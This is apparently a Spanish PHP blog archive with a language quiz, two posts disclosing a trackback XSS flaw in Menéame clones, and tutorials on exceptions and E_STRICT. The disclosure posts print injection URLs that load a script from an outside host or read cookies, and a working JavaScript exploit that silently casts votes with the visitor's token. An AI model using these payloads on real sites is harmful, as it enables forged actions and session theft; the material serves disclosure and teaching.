Categories
PHP Quiz

Quiz sobre PHP – rarezas del lenguaje

Qué muestra la siguiente porción de código?

php:

<?php

$variable = 'demo';

if ( $variable > 0 )
        echo 'foo';

if ( ! $variable > 0 )
        echo 'bar';

echo 'baz';

?>

Categories
PHP Seguridad

Importancia de la validación de datos – Demostración

Finalmente, presento un pequeño exploit que hice para aprovechar la falla comentada en anteriores posts. Lo que hace el exploit es enviar un "ataque" XSS para que el script http://test.buayacorp.com/s.js cargue en la página afectada.

javascript:

window.onload = function () {
        var doc = document.body.innerHTML;
        var match = /menealo\((\d+),(\d+),\2,'([^']+)'\)/.exec(doc);
        if (match != null && match.length == 4) {
                var img = '
<img src="/backend/menealo.php?user=' + match[1] + '&id=' + match[2] + '&md5=' + match[3] + '" style="display:none" />';

                document.write(img);
        }
}

Pueden ver el caso de prueba en floreame, a quienes de antemano pido disculpas por las molestias causadas y sugiero que actualizen a la última versión de el script para solucionar esto. Cada vez que entren en esta dirección, automáticamente estarán meneando el enlace enviado.

Código fuente: http.zip

Disclaimer: Este exploit ha sido publicado con el fin de que los pocos lectores de este sitio ayuden en cierta medida a que los responsables de los diferentes clones de Menéame que muestren el listado de trackbacks, puedan corregir la falla descrita en posts anteriores.

Categories
PHP Seguridad

Importancia de la validación de datos

En un post anterior puse un quiz sobre validación de datos, debido a que hubo una enorme cantidad de respuestas :D, quiero hacer unas cuantas aclaraciones y mostrar como un pequeño error puede tener consecuencias nada deseables.

Antes de empezar quiero advertir al ávido lector, que este post será un poco largo.

El error

Voy a tomar las lineas más importantes del quiz mencionado:

php:

##############
# demo.php
$tb_url    = $_POST['url']; # Obtiene el valor del parámetro 'url'

# ...
$excerpt = strip_tags($excerpt);
$excerpt = (strlen($excerpt) > 200) ? substr($excerpt, 0, 200) . '...' : $excerpt;

# Valida que la URL enviada realmente exista
$contents=@file_get_contents($tb_url);
if(!$contents) {       
        die('The provided URL does not seem to work.');
}

##############
# show.php
# Muestra el contenido de la URL ingresada
echo '<li><a href="'.$tb->url.'" title="'.$tb->excerpt.'">'.$tb->title.'</a></li>';

Como seguramente lo han notado, la variable 'url' puede contener cualquier valor, siempre y cuando éste sea accesible al mundo exterior. Veamos algunos ejemplos (se omite intencionalmente los valores de $tb->excerpt y $tb->title, aunque la variable $tb->excerpt también puede contener ciertos valores no deseados):

  1. [http://wwww.buayacorp.com/?] - esta url pasa la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"> ... </a>]
  2. [http://www.buayacorp.com/?" onclick=alert(document.cookie) f="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?" onclick=alert(document.cookie) f=""> ... </a>]
  3. [http://wwww.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href=""> ... </a>]

Aprovechando la falla

Si tomamos como base la última dirección URL -que es el que más nos conviene- de los ejemplos mostrados, veremos que se produce un error en file_get_contents, puesto que la mayoría de los servidores web se quejarán de que existen caracteres inválidos y mandarán un error 400 (Bad Request), a continuación parte del log de un servidor Apache 1.33 luego de realizar unas pruebas:

code:

[Mon Sep 18 14:07:51 2006] [error] [client 127.0.0.1] request failed: erroneous characters after protocol string: GET/?u=\"<script src=http://localhost/s.js></script><a\"

La solución a este inconveniente es trivial, ya que sólo es necesario implementar un servidor web que no haga ningún tipo de validación sobre los datos que recibe.

Consecuencias

Esos errores aparentemente inofensivos, permiten hacer en la página afectada, todo lo que se puede hacer (valga la redundancia) con javascript. En un siguiente post mostraré ejemplos reales.

Recomendaciones

  • Jamás confien en los datos que llegan o puedan ser modificados por el cliente.
  • Conozcan su herramienta y/o lenguaje con el que actualmente trabajan, esto les dará una idea clara de que cosas están protegidos(as) y que cosas no.
  • Lean algún(os) libro(s) y visiten sitios relacionados a seguridad.

Menéame y sus clones

Muchos se preguntarán que diablos tiene que ver menéame y sus clones aquí, pero la verdad es que el anterior quiz y este post estan relacionados a una falla de menéame, que fue corregida en parte el 25/09/2006, digo en parte porque existe la posibilidad de que algún spammer hdp pueda enviar todos los trackbacks que quiera. IMHO, sería bueno limitar el número de trackbacks desde una dirección IP en un lapso determinado y luego aplicar filtros antispam sobre los que pasen.

El caso de los clones es otro problema, ya que al parecer muchos de los responsables de estos proyectos no están al tanto de las correciones que se hacen en la versión principal -donde últimamente existe diferencias entre los problemas que muestra la página de reporte de bugs y los problemas solucionados que se especifican en el archivo CHANGES, motivo por el cual muchos clones todavía son vulnerables a ciertos ataques. Sería bueno que Ricardo pueda ofrecer una forma rápida de que los interesados puedan corregir sus versiones ante problemas algo críticos.

Categories
PHP

Excepciones en PHP

Desde PHP 5 podemos hacer el uso de excepciones como casi en cualquier lenguage de programación, ¿excelente verdad? Pero hay que tener en cuenta que aunque las excepciones sean una gran herramienta, también podrían ser peligrosas cuando son usadas indebidamente, por ejemplo nuestra aplicación podría consumir muchos recursos.

Veamos un ejemplo del mal uso de excepciones:

PHP:

<?php
function foo() {
    if ($usuario !== "Hola") {
        throw new Exception("Usuario incorrecto");
    }
}
?>
 

Esto está totalmente incorrecto, ya que este es un error que podríamos manejarlo nosotros mismos, es un error de usuario y no de la aplicación. Las excepciones deben ser usadas sólo cuando nuestra aplicación termine debido a un estado excepcional.

El siguiente ejemplo terminará si la conexión a nuestra base de datos demoró mucho tiempo:

PHP:

<?php
function bar() {
    if (conexion_fuera_de_tiempo()) {
        throw new Exception("Connection timeout");
    }
}
?>
 

Debemos usar adecuadamente las excepciones ya que estas consumen un poco de recursos cada vez que las utilizamos, veamos:

PHP:

<?php
for ($i = 1000000; $i > 0; $i--) {
    throw new Exceptions("Je je, estoy acabando con la memoria...");
}
?>
 

Utilizemos corréctamente estas herramientas, pero sólo cuando sean necesarias. Sabemos que son de gran ayuda pero como vimos también pueden hacer que nuestra aplicación no sea la mejor.

Referencias

Categories
PHP

Seamos E_STRICT

PHP tiene un nuevo nivel de error, se llama E_STRICT y está disponible a partir de PHP 5.

Este nuevo nivel de error, nos da mensajes en tiempo de ejecución y nos sugiere cambios en el código para tener un mejor rendimiento además de ayudarnos a tener un código limpio. Veamos un ejemplo típico:

PHP:

<?php

error_reporting = E_ALL | E_STRICT

// Usando la funcion obsoleta 'is_a'
if ( is_a( $objeto, 'Clase' ) ) {
    $objeto->foo();
}
?>
 

E_STRICT nos sugerirá que usemos un operador de tipo, en este caso "instanceof". con lo que tendríamos:

PHP:

<?php
if ( $objeto instanceof Clase ) {
    $objeto->foo();
}
?>
 

Referencias